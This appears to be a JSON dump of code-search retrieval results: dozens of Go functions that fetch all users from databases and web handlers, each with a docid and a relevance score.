[ { "docid": "42915d9f3c5bae819a9fd71ea890e547", "score": "0.8197882", "text": "func FindAll() ([]user, error) {\n\tcurUserName := entity.CurSessionModel.GetCurUser()\n\tif len(curUserName) == 0 {\n\t\treturn nil, fmt.Errorf(\"You are not logined\")\n\t}\n\tusers := entity.UserModel.FindBy(func(u *user) bool {\n\t\treturn true\n\t})\n\treturn users, nil\n}", "title": "" }, { "docid": "64c65a935fa0fdd14e4edfee13317832", "score": "0.81719315", "text": "func (u *UserService) FindAll() ([]model.User, error) {\r\n\tu.init()\r\n\treturn u.repo.FindAll()\r\n}", "title": "" }, { "docid": "6e7a58f7e57a92ea6c1c3aedd46c1ffa", "score": "0.8130518", "text": "func (s *userResource) FindAll(r api2go.Request) (interface{}, error) {\n\tvar users []User\n\n\tfor _, value := range s.users {\n\t\tusers = append(users, value)\n\t}\n\n\treturn users, nil\n}", "title": "" }, { "docid": "ead76d5f394d9290f08fe92804fd9931", "score": "0.80971944", "text": "func (u *UserService) FindAll() []model.User {\n\treturn u.UserRepository.FindAll()\n}", "title": "" }, { "docid": "8544598cc69cfeb41c561f9dc5989279", "score": "0.78914374", "text": "func (us *userRepository) FindAll(repo repository.DBRepo, param repository.QueryParam) ([]model.User, error) {\n\tdb := repo.DB()\n\tusers := []model.User{}\n\n\tquery := db.Table(model.UserTable)\n\n\tif param.Limit > 0 {\n\t\tquery.Limit(param.Limit).Offset(param.Offset)\n\t}\n\n\tif len(param.OrderConditions) > 0 {\n\t\tfor idx := range param.OrderConditions {\n\t\t\to := param.OrderConditions[idx]\n\t\t\tquery.Order(o.Field, o.IsAscending)\n\t\t}\n\t}\n\treturn users, query.Find(&users).Error\n}", "title": "" }, { "docid": "68cbd69964baefda20115d631dc385bd", "score": "0.78502536", "text": "func (r *UserRepository) FindAll() ([]*entity.User, error) {\n\tvar users []*UserDTO\n\terr := r.db.Select(&users, \"SELECT * FROM users\")\n\tif err != nil && err != sql.ErrNoRows {\n\t\treturn nil, err\n\t}\n\n\tvar rez []*entity.User\n\tfor _, v := range users {\n\t\trez = append(rez, ExtractUserFromDTO(v))\n\t}\n\n\treturn rez, nil\n}", "title": "" }, { "docid": "24bfc02def29f65afca1d4ab29962d40", "score": "0.77225226", "text": "func (m *UserCtr) FindAll() ([]models.User, error) {\n\tvar users []models.User\n\terr := db.C(COLLECTION).Find(bson.M{}).All(&users)\n\treturn users, err\n}", "title": "" }, { "docid": "0619ce086b49c99e0f9f33fc94659c22", "score": "0.7710879", "text": "func (db *DB) FindAll(ctx context.Context) ([]User, error) {\n\terr := permission.LimitCheckAny(ctx, permission.All)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trows, err := db.findAll.QueryContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tusers := []User{}\n\tfor rows.Next() {\n\t\tvar u User\n\t\terr = u.scanFrom(rows.Scan)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tusers = append(users, u)\n\t}\n\n\treturn users, nil\n}", "title": "" }, { "docid": "acc8ec2c0e4810e37ce16b63e7f1d254", "score": "0.76685977", "text": "func GetUserAll(db *gorm.DB) (ret []*User, err error) {\n\tif err = db.Find(&ret).Error; err != nil {\n\n\t\terr = ErrGetUser\n\t\treturn\n\t}\n\treturn\n}", "title": "" }, { "docid": "7187a95e2c1b59143d90128ebd162d9a", "score": "0.76276", "text": "func FindAll() ([]User, error) {\n\tvar results []User\n\terr := tools.MongoDB.C(collection).Find(nil).All(&results)\n\treturn results, err\n}", "title": "" }, { "docid": "9dd42229b06410e3f9b91ce0ef3d82b3", "score": "0.76016337", "text": "func (u UserRepository) All() ([]*User, error) {\n\tvar users []*User\n\treturn users, u.db.Find(&users).Error\n}", "title": "" }, { "docid": "1ff5fa402a4601a27717057a85508f88", "score": "0.7581908", "text": "func FindAllUsers(w http.ResponseWriter, r *http.Request) {\n\tnameOrNick := strings.ToLower(r.URL.Query().Get(\"user\"))\n\n\tdb, err := database.Connect()\n\tif err != nil {\n\t\tresponses.Error(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tdefer db.Close()\n\n\trepository := repositories.NewUserRepository(db)\n\tusers, err := repository.Find(nameOrNick)\n\tif err != nil {\n\t\tresponses.Error(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tresponses.JSON(w, http.StatusOK, users)\n}", "title": "" }, { "docid": "6894da120d8cb669c66ce5a78be1bcc9", "score": "0.7550039", "text": "func (u UsersAPI) GetAll() []User {\n\n\tvar users []User\n\tu.db.Find(&users)\n\treturn users\n\n}", "title": "" }, { "docid": "801cadae125755da603c8fb0093537e5", "score": "0.7529641", "text": "func (m *UserDatabase) FindAll() ([]User, error) {\n\tfmt.Print(\"Finding All Users: \")\n\tvar users []User\n\terr := db.C(COLLECTION).Find(bson.M{}).All(&users)\n\treturn users, err\n}", "title": "" }, { "docid": "f6bd07fd55e36c8d1f9688e8b14c7dbe", "score": "0.74227", "text": "func (model *UserModel) Find() ([]User, error) {\n\tdocs := []User{}\n\tdb := DB{}\n\terr := db.Conn()\n\n\tif err == nil {\n\t\tcollection := db.Collection(Users)\n\t\terr = collection.Find(bson.M{}).All(&docs)\n\t\tif err == nil {\n\t\t\tfmt.Println(\"Docs: \", docs)\n\t\t} else {\n\t\t\tfmt.Println(\"Find.All: \", err)\n\t\t}\n\t} else {\n\t\tfmt.Println(\"db.Conn: \", err)\n\t}\n\n\treturn docs, err\n}", "title": "" }, { "docid": "680377c0eff82979ce2075e9cadd1142", "score": "0.7372166", "text": "func (c *userController) GetAll(start, amount int64) ([]*user.User, error) {\n\tall, err := c.dbDriver.GetAll(start, amount)\n\tif err == status.FAILED {\n\t\treturn nil, errors.New(\"couldn't fetch the users required\")\n\t}\n\treturn all, nil\n}", "title": "" }, { "docid": "11e9288eb149c058bfef1669445d7cb1", "score": "0.7358977", "text": "func (um *UserModel) GetAll() ([]*User, error) {\n\tquery := `\n\t\tSELECT *\n\t\tFROM users\n\t`\n\trows, err := um.Db.Query(query)\n\tdefer rows.Close()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tusers := []*User{}\n\tfor rows.Next() {\n\t\tnewUser := User{}\n\t\terr := rows.Scan(&newUser.ID, &newUser.Name)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tusers = append(users, &newUser)\n\t}\n\treturn users, nil\n}", "title": "" }, { "docid": "e038d03f95dbcdc4bad2edd88c62fb6f", "score": "0.7348298", "text": "func (db *Database) GetAll() ([]User, error) {\n\tsession, err := mgo.Dial(db.DBURL)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer session.Close()\n\n\tvar users []User\n\n\terr = session.DB(db.DBName).C(db.DBCollection).Find(bson.M{}).All(&users)\n\tif err != nil {\n\t\treturn []User{}, err\n\t}\n\n\treturn users, nil\n}", "title": "" }, { "docid": "9394278a5efc94299eb21b64842354f1", "score": "0.7321882", "text": "func (user User) GetAll(r *http.Request) ([]User, error) {\n\tvar users []User\n\tquery := db.Find(&users)\n\tif query.Error != nil {\n\t\tif query.Error == gorm.RecordNotFound {\n\t\t\tusers = make([]User, 0)\n\t\t\treturn users, nil\n\t\t}\n\t\treturn users, query.Error\n\t}\n\tfor index, user := range users {\n\t\tuser, err := user.Get()\n\t\tif err != nil {\n\t\t\treturn users, err\n\t\t}\n\t\tusers[index] = user\n\t}\n\treturn users, nil\n}", "title": "" }, { "docid": "7461176e1da3ffd8898c7cda95c1b12e", "score": "0.73209816", "text": "func GetAllUsers() []UserFull {\n\n\tvar users []UserFull\n\tDB.Find(&users)\n\n\treturn users\n}", "title": "" }, { "docid": "00d662a81186e98cccd27f7221dc06b8", "score": "0.72895324", "text": "func (s *UsersStore) All(ctx context.Context) ([]chronograf.User, error) {\n\treturn s.AllF(ctx)\n}", "title": "" }, { "docid": "5968dd037e3eea8edd1b97bc05918289", "score": "0.7281455", "text": "func (us UserStore) GetAll() ([]models.User, error) {\n\tvar id, age int\n\tvar firstName, lastName, email string\n\n\trows, err := us.db.Query(QueryGetAll)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar users []models.User\n\tfor rows.Next() {\n\t\terr := rows.Scan(&id, &age, &firstName, &lastName, &email)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err) // too severe\n\t\t}\n\t\tu := models.NewUser(id, age, firstName, lastName, email)\n\t\tusers = append(users, u)\n\t}\n\treturn users, nil\n}", "title": "" }, { "docid": "3438dc2a3636b711d32133f415b633d4", "score": "0.7258456", "text": "func FindUsers(c *gin.Context) {\n\tvar users []models.User\n\tmodels.DB.Find(&users)\n\n\tc.JSON(http.StatusOK, gin.H{\"data\": users})\n}", "title": "" }, { "docid": "2e72843e71e576375be18d2fb914ec8b", "score": "0.72417367", "text": "func (rh *UserController) FindAll(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tuserID := userId(r)\n\n\t\tres, err := rh.service.FindAll(userID)\n\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tdata, err := json.Marshal(res)\n\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tfmt.Println(\"found all\")\n\t\tbuildResponse(w, 200)\n\t\t_, _ = w.Write([]byte(data))\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "41ccd0263b5e4810b2f275eaab0eed1f", "score": "0.72395766", "text": "func (s *UserStore) GetAll() ([]models.User, error) {\n\tusers := []models.User{}\n\trows, err := s.db.Query(`SELECT id, username, password, email, full_name, \n\t\t\t\t\t\t\t\t profile_picture, is_admin \n\t\t\t\t\t\t\t FROM users`)\n\tif err != nil {\n\t\treturn users, handlePqErr(err)\n\t}\n\n\tfor rows.Next() {\n\t\tvar u models.User\n\n\t\terr := intoUser(rows, &u)\n\t\tif err != nil {\n\t\t\treturn users, handlePqErr(err)\n\t\t}\n\n\t\tusers = append(users, u)\n\t}\n\n\treturn users, nil\n}", "title": "" }, { "docid": "7a9ecc7c200ff918ebf74fee1e650c4a", "score": "0.7222914", "text": "func GetAllUsers() ([]authenticate.User, error) {\r\n\tdefer func() {\r\n\t\tif err := recover(); err != nil {\r\n\t\t\tfmt.Println(\">> Panic:\", err)\r\n\t\t}\r\n\t}()\r\n\r\n\t// Instantiate user\r\n\tvar (\r\n\t\tuser authenticate.User\r\n\t\trepid int\r\n\t\tusername string\r\n\t\tpassword string\r\n\t\tfirstname string\r\n\t\tlastname string\r\n\t\temail string\r\n\t\tcontactno string\r\n\t\torganisation string\r\n\t\tlastloginDT time.Time\r\n\t)\r\n\tusers := make([]authenticate.User, 0)\r\n\r\n\tquery := \"SELECT RepID, UserName, Password, \" +\r\n\t\t\"FirstName, LastName, Email, \" +\r\n\t\t\"ContactNo, Organisation, LastLogin_dt \" +\r\n\t\t\"FROM Representatives\"\r\n\r\n\tresults, err := DB.Query(query)\r\n\tif err != nil {\r\n\t\tpanic(\"error executing sql select in GetAllUsers - \" + err.Error())\r\n\t} else {\r\n\t\tfor results.Next() {\r\n\t\t\terr := results.Scan(&repid, &username, &password, &firstname, &lastname,\r\n\t\t\t\t&email, &contactno, &organisation, &lastloginDT)\r\n\r\n\t\t\tif err != nil {\r\n\t\t\t\tpanic(\"error getting results from sql select\")\r\n\t\t\t}\r\n\r\n\t\t\tisAdmin, isRequester, isHelper := IsMemberType(username)\r\n\r\n\t\t\tuser = authenticate.User{\r\n\t\t\t\tRepID: repid,\r\n\t\t\t\tUserName: username,\r\n\t\t\t\tPassword: password,\r\n\t\t\t\tFirstName: firstname,\r\n\t\t\t\tLastName: lastname,\r\n\t\t\t\tEmail: email,\r\n\t\t\t\tContactNo: contactno,\r\n\t\t\t\tOrganisation: organisation,\r\n\t\t\t\tLastLoginDT: lastloginDT,\r\n\t\t\t\tIsAdmin: isAdmin,\r\n\t\t\t\tIsRequester: isRequester,\r\n\t\t\t\tIsHelper: isHelper,\r\n\t\t\t}\r\n\t\t\tusers = append(users, user)\r\n\t\t}\r\n\t\tresults.Close()\r\n\t\treturn users, nil\r\n\t}\r\n}", "title": "" }, { "docid": "ac6fdd0cf4c2affcfc708a8416ce5ecd", "score": "0.7176921", "text": "func (ur *UserRepo) GetAll() ([]*User, error) {\n\tu := ur.db.GetAll()\n\tusers := bindToUsers(u)\n\treturn users, nil\n}", "title": "" }, { "docid": "9a2247c62aa0fcc7cd18426eadfb6451", "score": "0.7156237", "text": "func FindUsers(c *gin.Context) {\n\tvar users []User\n\tDB.Find(&users)\n\tc.JSON(http.StatusOK, gin.H{\"data\": users})\n}", "title": "" }, { "docid": "e479bf3f2861d3a964194889885f905e", "score": "0.7113201", "text": "func (user *User) GetAll(db *sql.DB) ([]User, error) {\n\ttableName := \"public.users\"\n\titems := []User{}\n\n\trows, err := db.Query(\"SELECT * FROM \" + tableName + \" LIMIT 100\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tfor rows.Next() {\n\t\tif err := rows.Scan(\n\t\t\t&user.Photo,\n\t\t\t&user.Email,\n\t\t\t&user.Name,\n\t\t\t&user.Gender,\n\t\t\t&user.Url,\n\t\t\t&user.IsDeleted,\n\t\t\t&user.OnCreated,\n\t\t\t&user.OnUpdated,\n\t\t\t&user.OnDeleted,\n\t\t); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\n\t\t// fmt.Println(\"id | url | created \")\n\t\t// fmt.Printf(\"%3v | %6v | %6v\\n\", *user.OldUserId, *user.Url, *user.OnCreated)\n\n\t\titems = append(items, *user)\n\t}\n\n\tfmt.Println(\"User.GetAll Done\")\n\n\treturn items, nil\n}", "title": "" }, { "docid": "63c2f05361d58f3df51f51bb768e108c", "score": "0.710745", "text": "func ShowAll() {\n\tvar allUsers []User\n\tdb.Find(&allUsers)\n\tfmt.Println(allUsers)\n}", "title": "" }, { "docid": "d112e6d52be7452017860be8752aaa06", "score": "0.71060157", "text": "func GetAllUsers(c *gin.Context) {\n\tdb := PostSQLConfig()\n\trows, err := db.Query(\"select * from users\")\n\tif err != nil {\n\t\tfmt.Println(\"ERROR IS1\", err)\n\t\tcreateUserTable()\n\t}\n\tdefer rows.Close()\n\trepos := []model_user.SignIn{}\n\n\tfor rows.Next() {\n\t\tp := model_user.SignIn{}\n\t\terr = rows.Scan(&p.ID, &p.Username, &p.Password, &p.CreatedAt, &p.UpdatedAt, &p.UserInfo, &p.UserType)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t\trepos = append(repos, p)\n\t}\n\terr = rows.Err()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\tc.JSON(200, gin.H{\n\t\t\"user\": &repos,\n\t})\n\tdefer db.Close()\n}", "title": "" }, { "docid": "334e0133a0b0d74a4edc85e3ebaf06a8", "score": "0.710195", "text": "func (u *User) GetAll() ([]models.User, error) {\r\n\tsessionCopy := databases.Database.MgDbSession.Copy()\r\n\tdefer sessionCopy.Close()\r\n\r\n\t// Get a collection to execute the query against.\r\n\tcollection := sessionCopy.DB(databases.Database.Databasename).C(common.ColUsers)\r\n\r\n\tvar users []models.User\r\n\terr := collection.Find(bson.M{}).All(&users)\r\n\treturn users, err\r\n}", "title": "" }, { "docid": "0ad4c4df5857656809502f17f4c4a95c", "score": "0.70861167", "text": "func (c *dbUserCache) GetAll() ([]*DbUser, error) {\n\tcur, err := c.c.Find(context.Background(), bson.D{{}})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Close the cursor once finished\n\tdefer cur.Close(context.TODO())\n\n\tresults := make([]*DbUser, 0, 10)\n\t// Finding multiple documents returns a cursor\n\t// Iterating through the cursor allows us to decode documents one at a time\n\tfor cur.Next(context.TODO()) {\n\t\t// create a value into which the single document can be decoded\n\t\tvar elem DbUser\n\t\terr := cur.Decode(&elem)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\n\t\tresults = append(results, &elem)\n\t}\n\n\tif err := cur.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn results, nil\n}", "title": "" }, { "docid": "81aa69c2d3ba8eecadacfc30c825f045", "score": "0.70713973", "text": "func (r *userRepository) GetAll() ([]model.UserTable, error) {\n\tusers := []model.UserTable{}\n\n\tquery := `\n\t\tSELECT user_id,user_password,user_name,user_email,user_introduce,update_date,create_date FROM users \n\t`\n\trows, err := r.db.Query(query)\n\tif err != nil {\n\t\treturn users, err\n\t}\n\n\tfor rows.Next() {\n\t\tvar user model.UserTable\n\t\terr := rows.Scan(&user.ID, &user.Password, &user.Name, &user.Email, &user.Introduce, &user.UpdatedAt, &user.CreatedAt)\n\n\t\tif err != nil {\n\t\t\treturn users, err\n\t\t}\n\n\t\tusers = append(users, user)\n\t}\n\n\treturn users, err\n}", "title": "" }, { "docid": "1172a682e72da4fa86c226de79e8cf1a", "score": "0.7060478", "text": "func (s UserStorage) GetAll(context api2go.APIContexter) ([]model.User, error) {\n\tmgoSession, err := getMgoSession(context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer mgoSession.Close()\n\tresult := []model.User{}\n\terr = mgoSession.DB(CarShareDB).C(UsersColl).Find(nil).All(&result)\n\treturn result, err\n}", "title": "" }, { "docid": "62de84bd899d1d654a462600990255b3", "score": "0.70592755", "text": "func GetAll(c context.Context) ([]User, error) {\n\tif !util.IsAdminRequest(c) {\n\t\treturn nil, constants.ErrForbidden\n\t}\n\n\tdb, err := util.DBFromContext(c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tusers := []User{}\n\trows, err := db.Query(\"SELECT id, google_id, email FROM users\")\n\tif err != nil {\n\t\tlogrus.WithFields(logrus.Fields{\n\t\t\t\"error\": err,\n\t\t}).Error(\"failed to fetch all users\")\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar user userDB\n\t\tif err := rows.Scan(&user.ID, &user.GoogleID, &user.Email); err != nil {\n\t\t\tlogrus.WithFields(logrus.Fields{\n\t\t\t\t\"error\": err,\n\t\t\t}).Error(\"failed to scan into user\")\n\t\t\treturn nil, err\n\t\t}\n\n\t\tusers = append(users, fromDB(user))\n\t}\n\tif err := rows.Err(); err != nil {\n\t\tlogrus.WithFields(logrus.Fields{\n\t\t\t\"error\": err,\n\t\t}).Error(\"failed to get users from rows\")\n\t\treturn nil, err\n\t}\n\n\treturn users, nil\n}", "title": "" }, { "docid": "3dc913e775a2a036d33d7cf11c8046e1", "score": "0.7048615", "text": "func GetAllUsers(ctx iris.Context) {\n\tresults := []*Models.User{}\n\tc := context.TODO()\n\t// Passing bson.D{{}} as the filter matches all documents in the collection\n\tcur, err := DB.Find(c, bson.D{{}})\n\tif err != nil {\n\t\thandleErr(ctx, err)\n\t\treturn\n\t}\n\t// Finding multiple documents returns a cursor\n\t// Iterating through the cursor allows us to decode documents one at a time\n\tfor cur.Next(c) {\n\t\t// create a value into which the single document can be decoded\n\t\tvar elem Models.User\n\t\terr := cur.Decode(&elem)\n\t\tif err != nil {\n\t\t\thandleErr(ctx, err)\n\t\t\treturn\n\t\t}\n\t\tresults = append(results, &elem)\n\t}\n\tif err := cur.Err(); err != nil {\n\t\thandleErr(ctx, err)\n\t\treturn\n\t}\n\t// Close the cursor once finished\n\tcur.Close(c)\n\tctx.JSON(iris.Map{\"response\": results})\n}", "title": "" }, { "docid": "feb5bfbcf48bad15c744f4931a62636b", "score": "0.70283157", "text": "func AllUsers() *Users {\n\tvar users Users\n\n\trows, err := config.Db().Query(\"SELECT * FROM users\")\n\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\t// Close rows after all readed\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar u User\n\n\t\terr := rows.Scan(&u.ID, &u.Pseudo, &u.Password, &u.Email, &u.UserType, &u.CreatedAt, &u.UpdatedAt)\n\n\t\tif err != nil {\n\t\t\tpanic(err.Error())\n\t\t}\n\n\t\tusers = append(users, u)\n\t}\n\n\treturn &users\n}", "title": "" }, { "docid": "b8ba702f4a1d945873b54cf6200b0190", "score": "0.70194596", "text": "func (q userQuery) All(ctx context.Context, exec boil.ContextExecutor) (UserSlice, error) {\n\tvar o []*User\n\n\terr := q.Bind(ctx, exec, &o)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"models: failed to assign all query results to User slice\")\n\t}\n\n\tif len(userAfterSelectHooks) != 0 {\n\t\tfor _, obj := range o {\n\t\t\tif err := obj.doAfterSelectHooks(ctx, exec); err != nil {\n\t\t\t\treturn o, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn o, nil\n}", "title": "" }, { "docid": "bc784aa9393a734629660ee2be5bf3b5", "score": "0.7014698", "text": "func (service UsersService) GetAll() ([]map[string]interface{}, error) {\n\tvar users []map[string]interface{}\n\tusersStructs, err := service.repository.FindAll()\n\tif err != nil {\n\t\treturn users, err\n\t}\n\tfor _, user := range usersStructs {\n\t\tuserMap := structs.Map(user)\n\t\tusers = append(users, userMap)\n\t}\n\treturn users, nil\n}", "title": "" }, { "docid": "c37391d61f993015b4447e3025d4e324", "score": "0.70101666", "text": "func (q userQuery) All() (UserSlice, error) {\n\tvar o []*User\n\n\terr := q.Bind(&o)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"models: failed to assign all query results to User slice\")\n\t}\n\n\treturn o, nil\n}", "title": "" }, { "docid": "46ed5f903dedd61f16ecad59e7370dfb", "score": "0.7007371", "text": "func (ct *Controller) GetAllUsers(c *gin.Context) {\n\tusers := []models.User{}\n\n\tUser := ct.db.Debug().Preload(\"Products\").Preload(\"Customers\").Find(&users)\n\t// fmt.Println(User)\n\tif err := ct.db.Debug().Preload(\"Products\").Preload(\"Customers\").Find(&users).Error; err != nil {\n\t\t// if err := ct.db.Find(&User).Error; err != nil {\n\t\tc.AbortWithStatus(404)\n\t\tfmt.Println(err)\n\t} else {\n\t\tc.JSON(http.StatusOK, gin.H{\"result\": User.Value, \"error\": nil, \"status\": http.StatusOK})\n\t}\n}", "title": "" }, { "docid": "0a710a4a117e0b510f76eaf5661e8b9b", "score": "0.7002501", "text": "func GetAll(c echo.Context) error {\n\tusers := []User{}\n\tdb := configuration.GetConnection()\n\tdefer db.Close()\n\n\tus := db.Find(&users)\n\n\tr := response.Model{\n\t\tCode: \"200\",\n\t\tMessage: \"Consultado Correctamente\",\n\t\tData: us,\n\t}\n\n\tc.Response().Header().Set(echo.HeaderContentType, echo.MIMEApplicationJSONCharsetUTF8)\n\tc.Response().WriteHeader(http.StatusOK)\n\treturn json.NewEncoder(c.Response()).Encode(r)\n\n}", "title": "" }, { "docid": "08ca656721eb031961cef7501f617e1c", "score": "0.69906294", "text": "func (qs UserQuerySet) All(ret *[]User) error {\n\treturn qs.db.Find(ret).Error\n}", "title": "" }, { "docid": "9d94940e17dd77151f5963cf790b55db", "score": "0.697174", "text": "func FetchAllUser(c *gin.Context) {\r\n\tvar users []model.User\r\n\tvar user []user1\r\n\t//tk := User{}\r\n\t// tokenString := c.GetHeader(\"Authorization\")\r\n\t// token, err := jwt.ParseWithClaims(tokenString, &tk, func(token *jwt.Token) (interface{}, error) {\r\n\t// \treturn []byte(fmt.Sprint(conf.JWTSignature)), nil\r\n\t// })\r\n\t// if err != nil || token == nil {\r\n\t// \tfmt.Println(err, token)\r\n\t// \tutil.CallServerError(c, \"fail to parse the token, make sure token is valid\", err)\r\n\t// \treturn\r\n\t// }\r\n\t// username := tk.Username\r\n\tconfig.DB.Model(&users).Find(&users)\r\n\r\n\tif len(users) <= 0 {\r\n\t\tutil.CallErrorNotFound(c, \"No User Found!\", nil)\r\n\t\treturn\r\n\t}\r\n\tfor _, item := range users {\r\n\t\tuser = append(user, user1{\r\n\t\t\tID: item.ID,\r\n\t\t\tCreatedAt: item.CreatedAt,\r\n\t\t\tUpdatedAt: item.UpdatedAt,\r\n\t\t\tDeletedAt: item.DeletedAt,\r\n\t\t\tUsername: item.Username,\r\n\t\t\tPhoneNum: item.PhoneNum,\r\n\t\t\tEmail: item.Email,\r\n\t\t})\r\n\t}\r\n\tutil.CallSuccessOK(c, \"Fetch All Users Data \", user)\r\n}", "title": "" }, { "docid": "cffc66fb0622fc42872d8c6451aa59c7", "score": "0.6958464", "text": "func GetAllUsers(res http.ResponseWriter, req *http.Request) {\n\t//Declare Variable\n\tvar model models.Users\n\tvar all []models.Users\n\n\tswitch req.Method {\n\tcase \"OPTIONS\":\n\t\tutils.WriteResult(req, res, nil, \"Access Allowed\")\n\t\treturn\n\t}\n\n\tauthkey := req.Header.Get(\"auth_key\")\n\tlog.Println(authkey)\n\tuserid := req.Header.Get(\"user_id\")\n\tuid, _ := primitive.ObjectIDFromHex(userid)\n\n\tif utils.VerifyOwnership(uid, authkey) {\n\t\t//Connect DB\n\t\tdb := utils.ConnectMongoDB()\n\t\tcol, err := db.Collection(\"users\").Find(context.TODO(), bson.M{})\n\n\t\t//Loop column\n\t\tfor col.Next(context.TODO()) {\n\t\t\terr := col.Decode(&model)\n\t\t\tutils.ErrorHandler(err)\n\t\t\tall = append(all, model)\n\t\t}\n\n\t\tif len(all) == 0 {\n\t\t\tutils.WriteResult(req, res, nil, \"User Collumn Empty\")\n\t\t\treturn\n\t\t}\n\n\t\t//Return Res\n\t\tutils.ErrorHandler(err)\n\t\tutils.WriteResult(req, res, all, \"Sucessfully Returned \"+strconv.Itoa(len(all))+\" Users!\")\n\t} else {\n\t\tutils.WriteResult(req, res, nil, \"Access Denied \")\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "e08b65423b19de4fde6d534ee0239b81", "score": "0.69555503", "text": "func (s *Service) List(c *gin.Context, p *model.Pagination) ([]model.User, error) {\n\tu := s.auth.User(c)\n\tq, err := query.List(u)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn s.userRepo.List(q, p)\n}", "title": "" }, { "docid": "a86d0397f8971607a59de8fcc7629cbb", "score": "0.6951299", "text": "func GetAllUsers(user *[]model.User) (err error) {\n\tif err = config.Db.Find(user).Error; err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d88b112df4de7b8f89afc4e08e2992ec", "score": "0.6937776", "text": "func (q authUserQuery) All() (AuthUserSlice, error) {\n\tvar o AuthUserSlice\n\n\terr := q.Bind(&o)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"chado: failed to assign all query results to AuthUser slice\")\n\t}\n\n\tif len(authUserAfterSelectHooks) != 0 {\n\t\tfor _, obj := range o {\n\t\t\tif err := obj.doAfterSelectHooks(queries.GetExecutor(q.Query)); err != nil {\n\t\t\t\treturn o, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn o, nil\n}", "title": "" }, { "docid": "a0e77ff11c14834b678d19276a6abf5d", "score": "0.6915674", "text": "func AllUsers(c *gin.Context) {\n\toffset, _ := strconv.Atoi(c.Query(\"offset\"))\n\tvar users models.AllUsers\n\tif err := users.FindAll(offset); err != nil {\n\t\tlogger.Log(logger.Fields{\n\t\t\tLoc: \"/plans - AllUsers()\",\n\t\t\tCode: errors.InternalServerError.Code,\n\t\t\tErr: err.Error(),\n\t\t})\n\t\tc.AbortWithStatusJSON(errors.InternalServerError.Status, errors.InternalServerError)\n\t}\n\n\t// dont send passwords\n\tfor i, u := range users {\n\t\tu.Password = \"\"\n\t\tusers[i] = u\n\t}\n\n\tcount, err := users.Count()\n\tif err != nil {\n\t\tlogger.Log(logger.Fields{\n\t\t\tLoc: \"/servers - Connections()\",\n\t\t\tCode: errors.InternalServerError.Code,\n\t\t\tErr: err.Error(),\n\t\t})\n\t\tc.AbortWithStatusJSON(errors.InternalServerError.Status, errors.InternalServerError)\n\t}\n\n\tc.JSON(http.StatusOK, gin.H{\n\t\t\"status\": 200,\n\t\t\"data\": gin.H{\n\t\t\t\"count\": count,\n\t\t\t\"users\": users,\n\t\t},\n\t})\n}", "title": "" }, { "docid": "292ff74fbf4ff3003cc4551affe1346e", "score": "0.6913413", "text": "func (store *Client) GetAllUsers() ([]*models.User, error) {\n\tsqlStatement := \"SELECT * FROM users\"\n\trows, err := store.db.Query(sqlStatement)\n\tresult := []*models.User{}\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\treturn result, err\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tuser := &models.User{}\n\t\tif err := rows.Scan(&user.ID, &user.FirstName, &user.LastName, &user.Email, &user.Website, &user.CreatedAt, &user.UpdatedAt); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tresult = append(result, user)\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "a87ebe90e5670921388478390939bc75", "score": "0.69092435", "text": "func (d *OrmDatabase) GetAllUsers(limit int, page int) ([]common.User, error) {\n\tvar users []DbUser\n\td.db.Limit(limit).Offset((page - 1) * limit).Find(&users)\n\treturn demapUsers(users), nil\n}", "title": "" }, { "docid": "ea06c2c9f9fe538aaee21e61b7d3dc21", "score": "0.6891274", "text": "func (UserController) ListUserAll(c echo.Context) error {\n\tfmt.Println(\"print all user\")\n\tuserService := &services.UserService{}\n\tusers, err := userService.FindAll()\n\tif err != nil {\n\t\treturn c.JSON(http.StatusOK, \"I don't have value from database\")\n\t}\n\treturn c.JSON(http.StatusOK, users)\n}", "title": "" }, { "docid": "1b3ab0626780afae83443c3e89bf0d6b", "score": "0.68858397", "text": "func (s UserStorage) GetAll() map[string]*model.User {\n\treturn s.users\n}", "title": "" }, { "docid": "1b3ab0626780afae83443c3e89bf0d6b", "score": "0.68858397", "text": "func (s UserStorage) GetAll() map[string]*model.User {\n\treturn s.users\n}", "title": "" }, { "docid": 